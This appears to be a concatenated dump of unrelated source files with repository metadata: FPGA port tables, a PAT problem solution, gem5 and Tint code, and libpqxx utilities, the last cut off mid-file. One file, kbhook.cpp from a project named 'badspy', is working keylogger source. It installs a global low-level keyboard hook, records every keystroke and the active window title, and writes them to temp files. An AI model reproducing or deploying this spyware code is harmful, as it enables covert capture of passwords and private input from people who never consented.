Port_Property("dataIn_TLAST", 1, hls_in, 3, "axis", "in_data", 1),
Port_Property("dataOut_TDATA", 512, hls_out, 4, "axis", "out_data", 1),
Port_Property("dataOut_TKEEP", 64, hls_out, 5, "axis", "out_data", 1),
Port_Property("dataOut_TSTRB", 64, hls_out, 6, "axis", "out_data", 1),
Port_Property("dataOut_TLAST", 1, hls_out, 7, "axis", "out_data", 1),
Port_Property("arpTableReplay_V_TDATA", 128, hls_in, 8, "axis", "in_data", 1),
Port_Property("arpTableRequest_V_TDATA", 32, hls_out, 9, "axis", "out_data", 1),
Port_Property("myMacAddress", 48, hls_in, 10, "ap_none", "in_data", 1),
Port_Property("regSubNetMask", 32, hls_in, 11, "ap_none", "in_data", 1),
Port_Property("regDefaultGateway", 32, hls_in, 12, "ap_none", "in_data", 1),
Port_Property("ap_clk", 1, hls_in, -1, "", "", 1),
Port_Property("ap_rst_n", 1, hls_in, -1, "", "", 1),
Port_Property("dataIn_TVALID", 1, hls_in, 3, "axis", "in_vld", 1),
Port_Property("dataIn_TREADY", 1, hls_out, 3, "axis", "in_acc", 1),
Port_Property("arpTableRequest_V_TVALID", 1, hls_out, 9, "axis", "out_vld", 1),
Port_Property("arpTableRequest_V_TREADY", 1, hls_in, 9, "axis", "out_acc", 1),
Port_Property("arpTableReplay_V_TVALID", 1, hls_in, 8, "axis", "in_vld", 1),
Port_Property("arpTableReplay_V_TREADY", 1, hls_out, 8, "axis", "in_acc", 1),
Port_Property("dataOut_TVALID", 1, hls_out, 7, "axis", "out_vld", 1),
Port_Property("dataOut_TREADY", 1, hls_in, 7, "axis", "out_acc", 1),
};
const char* HLS_Design_Meta::dut_name = "ethernet_header_inserter";
| 64.464286 | 81 | 0.689197 | OCT-FPGA |
1508f20fb6fa396adea4cc28ccf9f09442bb36f5 | 516 | cpp | C++ | code/1049.cpp | Tomspiano/PAT-Advanced-Level-Practice | e7f543a23f852bcbad52170897a42b41622191ed | [
"MIT"
] | null | null | null | code/1049.cpp | Tomspiano/PAT-Advanced-Level-Practice | e7f543a23f852bcbad52170897a42b41622191ed | [
"MIT"
] | null | null | null | code/1049.cpp | Tomspiano/PAT-Advanced-Level-Practice | e7f543a23f852bcbad52170897a42b41622191ed | [
"MIT"
] | null | null | null | #include<bits/stdc++.h>
#define N 35
using namespace std;
#define rep(i,a,b) for(int i=(a); i<(b); ++i)
int n;
int main() {
//while(~
scanf("%d", &n);
//) {
int sum = 0, r = 1;
int lf, curr, rt;
while(n/r) {
lf=n/(r*10), curr=n/r%10, rt=n%r;
if(curr == 0) {
//printf("%d ", lf*r);
sum += lf*r;
}
else if(curr == 1) {
//printf("%d ", lf*r + rt + 1);
sum += lf*r + rt + 1;
}
else {
//printf("%d ", (lf + 1)*r);
sum += (lf + 1)*r;
}
r *= 10;
}
printf("%d\n", sum);
//}
return 0;
}
| 14.742857 | 45 | 0.449612 | Tomspiano |
15090c3c82be994d5fcf8c13ef3b785a1875b9c9 | 9,858 | cpp | C++ | badspy/badspy.c/sys/kbhook.cpp | sontx/badspy-project | d9e181f9598033d0dc24a9c48d25eb8342fa576d | [
"Apache-2.0"
] | null | null | null | badspy/badspy.c/sys/kbhook.cpp | sontx/badspy-project | d9e181f9598033d0dc24a9c48d25eb8342fa576d | [
"Apache-2.0"
] | null | null | null | badspy/badspy.c/sys/kbhook.cpp | sontx/badspy-project | d9e181f9598033d0dc24a9c48d25eb8342fa576d | [
"Apache-2.0"
] | null | null | null | #include "kbhook.h"
#include "../stg/kbhfile.h"
HHOOK KBHook::hook_handle = NULL;
KBHFile * KBHook::kbhfile = NULL;
LRESULT KBHook::hook_proc(int n_code, WPARAM w_param, LPARAM l_param)
{
//LOG("Has keyboard hook data code %d", n_code);
if (n_code == HC_ACTION)
process_hkdt(w_param, l_param);
return CallNextHookEx(NULL, n_code, w_param, l_param);
}
VOID KBHook::process_hkdt(WPARAM w_param, LPARAM l_param)
{
#ifdef SPY_LOG_WINTEXT
static HWND old_hwnd = NULL;// current window handle which typed on
static char w_text[SPY_MAX_WTEXT_LTH];// buffer for saving window title
#endif
static bool shift = false;// shift key state(down/up?)
//LOG("enter processing keyboard hook data...");
const KBDLLHOOKSTRUCT * kbdt = (KBDLLHOOKSTRUCT *)l_param;
if (kbdt->vkCode == VK_LSHIFT || kbdt->vkCode == VK_RSHIFT)
{
shift = (w_param == WM_KEYDOWN);
//LOG("shift is %s", shift ? "ON" : "OFF");
}
if (w_param == WM_SYSKEYDOWN || w_param == WM_KEYDOWN)
{
//LOG("key has been pressed!");
prepare_kbhfile();
#ifdef SPY_LOG_WINTEXT
// save window text which typed on it
// if a new file just has been created then write window text first
const HWND new_hwnd = GetForegroundWindow();
if (old_hwnd != new_hwnd || kbhfile->get_position() == 0)
{
const int ret = GetWindowTextA(new_hwnd, w_text, SPY_MAX_WTEXT_LTH);
//LOG("window text is '%s'", w_text);
kbhfile->write("\n[", 2);
kbhfile->write(w_text, ret);
kbhfile->write("]\n", 2);
old_hwnd = new_hwnd;
}
#endif
const bool caps = GetKeyState(VK_CAPITAL) < 0;// check caps lock pressed?
//LOG("caps is %s", caps ? "ON" : "OFF");
//LOG("write pressed key...");
switch (kbdt->vkCode)
{
// number keys
#ifdef SPY_LOG_NUMBER
case 0x30: kbhfile->write(shift ? ")" : "0", 1); break;
case 0x31: kbhfile->write(shift ? "!" : "1", 1); break;
case 0x32: kbhfile->write(shift ? "@" : "2", 1); break;
case 0x33: kbhfile->write(shift ? "#" : "3", 1); break;
case 0x34: kbhfile->write(shift ? "$" : "4", 1); break;
case 0x35: kbhfile->write(shift ? "%" : "5", 1); break;
case 0x36: kbhfile->write(shift ? "^" : "6", 1); break;
case 0x37: kbhfile->write(shift ? "&" : "7", 1); break;
case 0x38: kbhfile->write(shift ? "*" : "8", 1); break;
case 0x39: kbhfile->write(shift ? "(" : "9", 1); break;
#else
case 0x30:
case 0x31:
case 0x32:
case 0x33:
case 0x34:
case 0x35:
case 0x36:
case 0x37:
case 0x38:
case 0x39: break;
#endif
// numpad keys
#ifdef SPY_LOG_NUMPAD
case 0x60: kbhfile->write("0", 1); break;
case 0x61: kbhfile->write("1", 1); break;
case 0x62: kbhfile->write("2", 1); break;
case 0x63: kbhfile->write("3", 1); break;
case 0x64: kbhfile->write("4", 1); break;
case 0x65: kbhfile->write("5", 1); break;
case 0x66: kbhfile->write("6", 1); break;
case 0x67: kbhfile->write("7", 1); break;
case 0x68: kbhfile->write("8", 1); break;
case 0x69: kbhfile->write("9", 1); break;
#else
case 0x60:
case 0x61:
case 0x62:
case 0x63:
case 0x64:
case 0x65:
case 0x66:
case 0x67:
case 0x68:
case 0x69: break;
#endif
// character keys
#ifdef SPY_LOG_CHARACTER
case 0x41: kbhfile->write(caps ? (shift ? "a" : "A") : (shift ? "A" : "a"), 1); break;
case 0x42: kbhfile->write(caps ? (shift ? "b" : "B") : (shift ? "B" : "b"), 1); break;
case 0x43: kbhfile->write(caps ? (shift ? "c" : "C") : (shift ? "C" : "c"), 1); break;
case 0x44: kbhfile->write(caps ? (shift ? "d" : "D") : (shift ? "D" : "d"), 1); break;
case 0x45: kbhfile->write(caps ? (shift ? "e" : "E") : (shift ? "E" : "e"), 1); break;
case 0x46: kbhfile->write(caps ? (shift ? "f" : "F") : (shift ? "F" : "f"), 1); break;
case 0x47: kbhfile->write(caps ? (shift ? "g" : "G") : (shift ? "G" : "g"), 1); break;
case 0x48: kbhfile->write(caps ? (shift ? "h" : "H") : (shift ? "H" : "h"), 1); break;
case 0x49: kbhfile->write(caps ? (shift ? "i" : "I") : (shift ? "I" : "i"), 1); break;
case 0x4A: kbhfile->write(caps ? (shift ? "j" : "J") : (shift ? "J" : "j"), 1); break;
case 0x4B: kbhfile->write(caps ? (shift ? "k" : "K") : (shift ? "K" : "k"), 1); break;
case 0x4C: kbhfile->write(caps ? (shift ? "l" : "L") : (shift ? "L" : "l"), 1); break;
case 0x4D: kbhfile->write(caps ? (shift ? "m" : "M") : (shift ? "M" : "m"), 1); break;
case 0x4E: kbhfile->write(caps ? (shift ? "n" : "N") : (shift ? "N" : "n"), 1); break;
case 0x4F: kbhfile->write(caps ? (shift ? "o" : "O") : (shift ? "O" : "o"), 1); break;
case 0x50: kbhfile->write(caps ? (shift ? "p" : "P") : (shift ? "P" : "p"), 1); break;
case 0x51: kbhfile->write(caps ? (shift ? "q" : "Q") : (shift ? "Q" : "q"), 1); break;
case 0x52: kbhfile->write(caps ? (shift ? "r" : "R") : (shift ? "R" : "r"), 1); break;
case 0x53: kbhfile->write(caps ? (shift ? "s" : "S") : (shift ? "S" : "s"), 1); break;
case 0x54: kbhfile->write(caps ? (shift ? "t" : "T") : (shift ? "T" : "t"), 1); break;
case 0x55: kbhfile->write(caps ? (shift ? "u" : "U") : (shift ? "U" : "u"), 1); break;
case 0x56: kbhfile->write(caps ? (shift ? "v" : "V") : (shift ? "V" : "v"), 1); break;
case 0x57: kbhfile->write(caps ? (shift ? "w" : "W") : (shift ? "W" : "w"), 1); break;
case 0x58: kbhfile->write(caps ? (shift ? "x" : "X") : (shift ? "X" : "x"), 1); break;
case 0x59: kbhfile->write(caps ? (shift ? "y" : "Y") : (shift ? "Y" : "y"), 1); break;
case 0x5A: kbhfile->write(caps ? (shift ? "z" : "Z") : (shift ? "Z" : "z"), 1); break;
#else
case 0x41:
case 0x42:
case 0x43:
case 0x44:
case 0x45:
case 0x46:
case 0x47:
case 0x48:
case 0x49:
case 0x4A:
case 0x4B:
case 0x4C:
case 0x4D:
case 0x4E:
case 0x4F:
case 0x50:
case 0x51:
case 0x52:
case 0x53:
case 0x54:
case 0x55:
case 0x56:
case 0x57:
case 0x58:
case 0x59:
case 0x5A: break;
#endif
// special keys
#ifdef SPY_LOG_SPECIAL
case VK_SPACE: kbhfile->write(" ", 1); break;
case VK_RETURN: kbhfile->write("\n", 1); break;
case VK_TAB: kbhfile->write("\t", 1); break;
case VK_ESCAPE: kbhfile->write("[ESC]", 5); break;
case VK_LEFT: kbhfile->write("[LEFT]", 6); break;
case VK_RIGHT: kbhfile->write("[RIGHT]", 7); break;
case VK_UP: kbhfile->write("[UP]", 4); break;
case VK_DOWN: kbhfile->write("[DOWN]", 6); break;
case VK_END: kbhfile->write("[END]", 5); break;
case VK_HOME: kbhfile->write("[HOME]", 6); break;
case VK_DELETE: kbhfile->write("[DEL]", 5); break;
case VK_BACK: kbhfile->write("[BACK]", 6); break;
case VK_INSERT: kbhfile->write("[INS]", 5); break;
case VK_LCONTROL:
case VK_RCONTROL: kbhfile->write("[CTRL]", 6); break;
case VK_LMENU:
case VK_RMENU: kbhfile->write("[ALT]", 5); break;
case VK_F1: kbhfile->write("[F1]", 4); break;
case VK_F2: kbhfile->write("[F2]", 4); break;
case VK_F3: kbhfile->write("[F3]", 4); break;
case VK_F4: kbhfile->write("[F4]", 4); break;
case VK_F5: kbhfile->write("[F5]", 4); break;
case VK_F6: kbhfile->write("[F6]", 4); break;
case VK_F7: kbhfile->write("[F7]", 4); break;
case VK_F8: kbhfile->write("[F8]", 4); break;
case VK_F9: kbhfile->write("[F9]", 4); break;
case VK_F10: kbhfile->write("[F10]", 5); break;
case VK_F11: kbhfile->write("[F11]", 5); break;
case VK_F12: kbhfile->write("[F12]", 5); break;
#else
case VK_SPACE:
case VK_RETURN:
case VK_TAB:
case VK_ESCAPE:
case VK_LEFT:
case VK_RIGHT:
case VK_UP:
case VK_DOWN:
case VK_END:
case VK_HOME:
case VK_DELETE:
case VK_BACK:
case VK_INSERT:
case VK_LCONTROL:
case VK_RCONTROL:
case VK_LMENU:
case VK_RMENU:
case VK_F1:
case VK_F2:
case VK_F3:
case VK_F4:
case VK_F5:
case VK_F6:
case VK_F7:
case VK_F8:
case VK_F9:
case VK_F10:
case VK_F11:
case VK_F12: break;
#endif
// symbol keys
#ifdef SPY_LOG_SYMBOL
case VK_OEM_1: kbhfile->write(shift ? ":" : ";", 1); break;
case VK_OEM_2: kbhfile->write(shift ? "?" : "/", 1); break;
case VK_OEM_3: kbhfile->write(shift ? "~" : "`", 1); break;
case VK_OEM_4: kbhfile->write(shift ? "{" : "[", 1); break;
case VK_OEM_5: kbhfile->write(shift ? "|" : "\\", 1); break;
case VK_OEM_6: kbhfile->write(shift ? "}" : "]", 1); break;
case VK_OEM_7: kbhfile->write(shift ? "\"" : "'", 1); break;
case VK_OEM_PLUS: kbhfile->write(shift ? "+" : "=", 1); break;
case VK_OEM_COMMA: kbhfile->write(shift ? "<" : ",", 1); break;
case VK_OEM_MINUS: kbhfile->write(shift ? +"_" : "-", 1); break;
case VK_OEM_PERIOD: kbhfile->write(shift ? ">" : ".", 1); break;
#else
case VK_OEM_1:
case VK_OEM_2:
case VK_OEM_3:
case VK_OEM_4:
case VK_OEM_5:
case VK_OEM_6:
case VK_OEM_7:
case VK_OEM_PLUS:
case VK_OEM_COMMA:
case VK_OEM_MINUS:
case VK_OEM_PERIOD: break;
#endif
// unknown keys
#ifdef SPY_LOG_UNKNOWN
default:
DWORD _lparam = (kbdt->scanCode << 16) | (kbdt->flags << 24);
char key[16];
GetKeyNameTextA(_lparam, key, 15);
LOG("write unknown key is '%s'", key);
kbhfile->write(key, strlen(key));
break;
#endif
}
}
//LOG("finish processing keyboard hook data!");
}
HHOOK KBHook::register_hook(HINSTANCE dll_instance)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)hook_proc, dll_instance, 0);
}
VOID KBHook::unregister_hook()
{
if (hook_handle != NULL)
{
UnhookWindowsHookEx(hook_handle);
hook_handle = NULL;
}
}
void KBHook::prepare_kbhfile()
{
if (kbhfile->full())
{
delete kbhfile;
gen_kbhfile();
}
}
void KBHook::gen_kbhfile()
{
char * file_path = new char[MAX_PATH];
Spy::get_temp_fpath(file_path);
kbhfile = new KBHFile(file_path);
delete[] file_path;
}
DWORD KBHook::load(HINSTANCE dllinst)
{
hook_handle = register_hook(dllinst);
if (hook_handle == NULL)
{
LOG_E("Can not register hook: %s", strerror(errno));
return errno;
}
else
{
gen_kbhfile();
return 0;
}
}
void KBHook::unload()
{
unregister_hook();
SAFE_FREE(kbhfile);
} | 31.596154 | 88 | 0.607223 | sontx |
1509646850b9674b1c8513913a3633370c60ffab | 6,593 | hh | C++ | src/arch/riscv/pmp.hh | hyu-iot/gem5 | aeccc8bd8e9a86f96fc7a6f40d978f8494337fc5 | [
"BSD-3-Clause"
] | 765 | 2015-01-14T16:17:04.000Z | 2022-03-28T07:46:28.000Z | src/arch/riscv/pmp.hh | hyu-iot/gem5 | aeccc8bd8e9a86f96fc7a6f40d978f8494337fc5 | [
"BSD-3-Clause"
] | 148 | 2018-07-20T00:58:36.000Z | 2021-11-16T01:52:33.000Z | src/arch/riscv/pmp.hh | hyu-iot/gem5 | aeccc8bd8e9a86f96fc7a6f40d978f8494337fc5 | [
"BSD-3-Clause"
] | 807 | 2015-01-06T09:55:38.000Z | 2022-03-30T10:23:36.000Z | /*
* Copyright (c) 2021 The Regents of the University of California
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met: redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer;
* redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution;
* neither the name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef __ARCH_RISCV_PMP_HH__
#define __ARCH_RISCV_PMP_HH__
#include "arch/generic/tlb.hh"
#include "arch/riscv/isa.hh"
#include "base/addr_range.hh"
#include "base/types.hh"
#include "mem/packet.hh"
#include "params/PMP.hh"
#include "sim/sim_object.hh"
/**
* @file
* PMP header file.
*/
namespace gem5
{
/**
* This class helps to implement RISCV's physical memory
* protection (pmp) primitive.
* @todo Add statistics and debug prints.
*/
class PMP : public SimObject
{
public:
PARAMS(PMP);
PMP(const Params ¶ms);
private:
/** maximum number of entries in the pmp table */
int pmpEntries;
/** This enum is used for encoding of address matching mode of
* pmp address register, which is present in bits 3-4 (A) of
* pmpcfg register for a pmp entry.
* PMP_OFF = null region (pmp disabled)
* MP_TOR = top of range mode
* PMP_NA4 = naturally aligned four byte region
* PMP_NAPOT = naturally aligned power of two region, >= 8 bytes
*/
enum pmpAmatch
{
PMP_OFF,
PMP_TOR,
PMP_NA4,
PMP_NAPOT
};
/** pmpcfg address range read permission mask */
const uint8_t PMP_READ = 1 << 0;
/** pmpcfg address range write permission mask */
const uint8_t PMP_WRITE = 1 << 1;
/** pmpcfg address range execute permission mask */
const uint8_t PMP_EXEC = 1 << 2;
/** pmpcfg address range locked mask */
const uint8_t PMP_LOCK = 1 << 7;
/** variable to keep track of active number of rules any time */
int numRules;
/** single pmp entry struct*/
struct PmpEntry
{
/** addr range corresponding to a single pmp entry */
AddrRange pmpAddr = AddrRange(0, 0);
/** raw addr in pmpaddr register for a pmp entry */
Addr rawAddr;
/** pmpcfg reg value for a pmp entry */
uint8_t pmpCfg = 0;
};
/** a table of pmp entries */
std::vector<PmpEntry> pmpTable;
public:
/**
* pmpCheck checks if a particular memory access
* is allowed based on the pmp rules.
* @param req memory request.
* @param mode mode of request (read, write, execute).
* @param pmode current privilege mode of execution (U, S, M).
* @param tc thread context.
* @param vaddr optional parameter to pass vaddr of original
* request for which a page table walk is consulted by pmp unit
* @return Fault.
*/
Fault pmpCheck(const RequestPtr &req, BaseMMU::Mode mode,
RiscvISA::PrivilegeMode pmode, ThreadContext *tc,
Addr vaddr = 0);
/**
* pmpUpdateCfg updates the pmpcfg for a pmp
* entry and calls pmpUpdateRule to update the
* rule of corresponding pmp entry.
* @param pmp_index pmp entry index.
* @param this_cfg value to be written to pmpcfg.
*/
void pmpUpdateCfg(uint32_t pmp_index, uint8_t this_cfg);
/**
* pmpUpdateAddr updates the pmpaddr for a pmp
* entry and calls pmpUpdateRule to update the
* rule of corresponding pmp entry.
* @param pmp_index pmp entry index.
* @param this_addr value to be written to pmpaddr.
*/
void pmpUpdateAddr(uint32_t pmp_index, Addr this_addr);
private:
/**
* This function is called during a memory
* access to determine if the pmp table
* should be consulted for this access.
* @param pmode current privilege mode of execution (U, S, M).
* @param mode mode of request (read, write, execute).
* @param tc thread context.
* @return true or false.
*/
bool shouldCheckPMP(RiscvISA::PrivilegeMode pmode,
BaseMMU::Mode mode, ThreadContext *tc);
/**
* createAddrfault creates an address fault
* if the pmp checks fail to pass for a given
* access. This function is used by pmpCheck().
* given pmp entry depending on the value
* of pmpaddr and pmpcfg for that entry.
* @param vaddr virtual address of the access.
* @param mode mode of access(read, write, execute).
* @return Fault.
*/
Fault createAddrfault(Addr vaddr, BaseMMU::Mode mode);
/**
* pmpUpdateRule updates the pmp rule for a
* given pmp entry depending on the value
* of pmpaddr and pmpcfg for that entry.
* @param pmp_index pmp entry index.
*/
void pmpUpdateRule(uint32_t pmp_index);
/**
* pmpGetAField extracts the A field (address matching mode)
* from an input pmpcfg register
* @param cfg pmpcfg register value.
* @return The A field.
*/
inline uint8_t pmpGetAField(uint8_t cfg);
/**
* This function decodes a pmpaddr register value
* into an address range when A field of pmpcfg
* register is set to NAPOT mode (naturally aligned
* power of two region).
* @param pmpaddr input address from a pmp entry.
* @return an address range.
*/
inline AddrRange pmpDecodeNapot(Addr pmpaddr);
};
} // namespace gem5
#endif // __ARCH_RISCV_PMP_HH__
| 33.29798 | 73 | 0.677537 | hyu-iot |
15096558c1a3cd5b82eeb82aed24705eaa28153a | 2,436 | cc | C++ | third_party/tint/src/ast/index_accessor_expression_test.cc | Antidote/dawn-cmake | b8c6d669fa3c0087aa86653a4078386ffb42f199 | [
"BSD-3-Clause"
] | null | null | null | third_party/tint/src/ast/index_accessor_expression_test.cc | Antidote/dawn-cmake | b8c6d669fa3c0087aa86653a4078386ffb42f199 | [
"BSD-3-Clause"
] | null | null | null | third_party/tint/src/ast/index_accessor_expression_test.cc | Antidote/dawn-cmake | b8c6d669fa3c0087aa86653a4078386ffb42f199 | [
"BSD-3-Clause"
] | null | null | null | // Copyright 2020 The Tint Authors.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include "gtest/gtest-spi.h"
#include "src/ast/test_helper.h"
namespace tint {
namespace ast {
namespace {
using IndexAccessorExpressionTest = TestHelper;
TEST_F(IndexAccessorExpressionTest, Create) {
auto* obj = Expr("obj");
auto* idx = Expr("idx");
auto* exp = IndexAccessor(obj, idx);
ASSERT_EQ(exp->object, obj);
ASSERT_EQ(exp->index, idx);
}
TEST_F(IndexAccessorExpressionTest, CreateWithSource) {
auto* obj = Expr("obj");
auto* idx = Expr("idx");
auto* exp = IndexAccessor(Source{{20, 2}}, obj, idx);
auto src = exp->source;
EXPECT_EQ(src.range.begin.line, 20u);
EXPECT_EQ(src.range.begin.column, 2u);
}
TEST_F(IndexAccessorExpressionTest, IsIndexAccessor) {
auto* obj = Expr("obj");
auto* idx = Expr("idx");
auto* exp = IndexAccessor(obj, idx);
EXPECT_TRUE(exp->Is<IndexAccessorExpression>());
}
TEST_F(IndexAccessorExpressionTest, Assert_Null_Array) {
EXPECT_FATAL_FAILURE(
{
ProgramBuilder b;
b.IndexAccessor(nullptr, b.Expr("idx"));
},
"internal compiler error");
}
TEST_F(IndexAccessorExpressionTest, Assert_Null_Index) {
EXPECT_FATAL_FAILURE(
{
ProgramBuilder b;
b.IndexAccessor(b.Expr("arr"), nullptr);
},
"internal compiler error");
}
TEST_F(IndexAccessorExpressionTest, Assert_DifferentProgramID_Array) {
EXPECT_FATAL_FAILURE(
{
ProgramBuilder b1;
ProgramBuilder b2;
b1.IndexAccessor(b2.Expr("arr"), b1.Expr("idx"));
},
"internal compiler error");
}
TEST_F(IndexAccessorExpressionTest, Assert_DifferentProgramID_Index) {
EXPECT_FATAL_FAILURE(
{
ProgramBuilder b1;
ProgramBuilder b2;
b1.IndexAccessor(b1.Expr("arr"), b2.Expr("idx"));
},
"internal compiler error");
}
} // namespace
} // namespace ast
} // namespace tint
| 26.478261 | 75 | 0.685961 | Antidote |
15097bc5bbdb66031533e62497d4eaf0dfdd9aa4 | 308 | cpp | C++ | lib/SurfacingAlgorithms/huji-rich-Elad3DFast/source/newtonian/test_2d/trigger.cpp | GalaxyHunters/Vivid | f724e5671b650433d0c26319c86231bd3b246e4e | [
"BSD-3-Clause"
] | null | null | null | lib/SurfacingAlgorithms/huji-rich-Elad3DFast/source/newtonian/test_2d/trigger.cpp | GalaxyHunters/Vivid | f724e5671b650433d0c26319c86231bd3b246e4e | [
"BSD-3-Clause"
] | 222 | 2018-07-25T18:13:57.000Z | 2021-10-10T14:54:04.000Z | lib/SurfacingAlgorithms/huji-rich-Elad3DFast/source/newtonian/test_2d/trigger.cpp | GalaxyHunters/Vivid | f724e5671b650433d0c26319c86231bd3b246e4e | [
"BSD-3-Clause"
] | 2 | 2018-07-29T09:39:40.000Z | 2018-08-25T19:17:49.000Z | #include "trigger.hpp"
Trigger::~Trigger(void) {}
ConstantTimeInterval::ConstantTimeInterval(double dt, double t_next):
dt_(dt), t_next_(t_next) {}
bool ConstantTimeInterval::operator()(const hdsim& sim)
{
if(sim.getTime()>t_next_){
t_next_ += dt_;
return true;
}
else
return false;
}
| 18.117647 | 69 | 0.688312 | GalaxyHunters |
1510ddd30c2d63949ea9d4bd795f47cdac42d2d4 | 2,280 | cpp | C++ | Leet Code/Number of Good Ways to Split a String.cpp | Shubhrmcf07/Competitive-Coding-and-Interview-Problems | 7281ea3163c0cf6938a3af7b54a8a14f97c97c0e | [
"MIT"
] | 51 | 2020-02-24T11:14:00.000Z | 2022-03-24T09:32:18.000Z | Leet Code/Number of Good Ways to Split a String.cpp | Shubhrmcf07/Competitive-Coding-and-Interview-Problems | 7281ea3163c0cf6938a3af7b54a8a14f97c97c0e | [
"MIT"
] | 3 | 2020-10-02T08:16:09.000Z | 2021-04-17T16:32:38.000Z | Leet Code/Number of Good Ways to Split a String.cpp | Shubhrmcf07/Competitive-Coding-and-Interview-Problems | 7281ea3163c0cf6938a3af7b54a8a14f97c97c0e | [
"MIT"
] | 18 | 2020-04-24T15:33:36.000Z | 2022-03-24T09:32:20.000Z | /* Leet Code */
/* Title - Number of Good Ways to Split a String */
/* Created By - Akash Modak */
/* Date - 25/09/2020 */
// You are given a string s, a split is called good if you can split s into 2 non-empty strings p and q where its concatenation is equal to s and the number of distinct letters in p and q are the same.
// Return the number of good splits you can make in s.
// Example 1:
// Input: s = "aacaba"
// Output: 2
// Explanation: There are 5 ways to split "aacaba" and 2 of them are good.
// ("a", "acaba") Left string and right string contains 1 and 3 different letters respectively.
// ("aa", "caba") Left string and right string contains 1 and 3 different letters respectively.
// ("aac", "aba") Left string and right string contains 2 and 2 different letters respectively (good split).
// ("aaca", "ba") Left string and right string contains 2 and 2 different letters respectively (good split).
// ("aacab", "a") Left string and right string contains 3 and 1 different letters respectively.
// Example 2:
// Input: s = "abcd"
// Output: 1
// Explanation: Split the string as follows ("ab", "cd").
// Example 3:
// Input: s = "aaaaa"
// Output: 4
// Explanation: All possible splits are good.
// Example 4:
// Input: s = "acbadbaada"
// Output: 2
class Solution {
public:
int numSplits(string s) {
unordered_map<char,int> right,left;
int rightcount=0,leftcount=0;
for(int i=0;i<s.length();i++){
/* count number of unique characters on the right split*/
if(!right.count(s[i]))
rightcount++;
right[s[i]]++;
}
int ans=0;
for(int i=0;i<s.length();i++){
/* count number of unique characters on the left split*/
if(!left.count(s[i]))
leftcount++;
left[s[i]]++;
if(right[s[i]]>0)
right[s[i]]--;
if(right[s[i]]==0)
rightcount--;
/* if both are same increase the counter of good splits*/
if(rightcount==leftcount){
ans++;
}
}
return ans;
}
}; | 32.571429 | 202 | 0.555702 | Shubhrmcf07 |
1513296d0e5967145ebc9e2f5d26cd4850acd466 | 7,092 | hxx | C++ | include/pqxx/internal/type_utils.hxx | yogsothoth/libpqxx | af9bf34e1ae450e8925a758594f772ba0b515abb | [
"BSD-3-Clause"
] | null | null | null | include/pqxx/internal/type_utils.hxx | yogsothoth/libpqxx | af9bf34e1ae450e8925a758594f772ba0b515abb | [
"BSD-3-Clause"
] | null | null | null | include/pqxx/internal/type_utils.hxx | yogsothoth/libpqxx | af9bf34e1ae450e8925a758594f772ba0b515abb | [
"BSD-3-Clause"
] | null | null | null | /** Type/template metaprogramming utilities for use internally in libpqxx
*
* Copyright (c) 2001-2018, Jeroen T. Vermeulen.
*
* See COPYING for copyright license. If you did not receive a file called
* COPYING with this source code, please notify the distributor of this mistake,
* or contact the author.
*/
#ifndef PQXX_H_TYPE_UTILS
#define PQXX_H_TYPE_UTILS
#include <memory>
#include <type_traits>
#if defined(PQXX_HAVE_OPTIONAL)
#include <optional>
#elif defined(PQXX_HAVE_EXP_OPTIONAL) && !defined(PQXX_HIDE_EXP_OPTIONAL)
#include <experimental/optional>
#endif
namespace pqxx
{
namespace internal
{
/// Replicate std::void_t<> (available in C++17)
template<typename... T> using void_t = void;
/// Shortcut for detecting type held by an optional-like wrapper type
template<typename T> using inner_type = typename std::remove_reference<
decltype(*std::declval<T>())
>::type;
/// Detect if the given type has an `operator *()`
template<typename T, typename = void> struct is_derefable : std::false_type {};
template<typename T> struct is_derefable<T, void_t<
// Disable for arrays so they don't erroneously decay to pointers
inner_type<typename std::enable_if<!std::is_array<T>::value, T>::type>
>> : std::true_type {};
/// Detect if the given type should be treated as an optional-value wrapper type
template<typename T, typename = void> struct is_optional : std::false_type {};
template<typename T> struct is_optional<T, typename std::enable_if<(
is_derefable<T>::value
// Check if an `explicit operator bool` exists for this type
&& std::is_constructible<bool, T>::value
)>::type> : std::true_type {};
/// Detect if `std::nullopt_t`/`std::experimental::nullopt_t` can be implicitly
/// converted to the given type
template<
typename T,
typename = void
> struct takes_std_nullopt : std::false_type {};
#if defined(PQXX_HAVE_OPTIONAL)
template<typename T> struct takes_std_nullopt<
T,
typename std::enable_if<std::is_assignable<T, std::nullopt_t>::value>::type
> : std::true_type {};
#elif defined(PQXX_HAVE_EXP_OPTIONAL) && !defined(PQXX_HIDE_EXP_OPTIONAL)
template<typename T> struct takes_std_nullopt<
T,
typename std::enable_if<
std::is_assignable<T, std::experimental::nullopt_t>::value
>::type
> : std::true_type {};
#endif
/// Detect if type is a `std::tuple<>`
template<typename T, typename = void> struct is_tuple : std::false_type {};
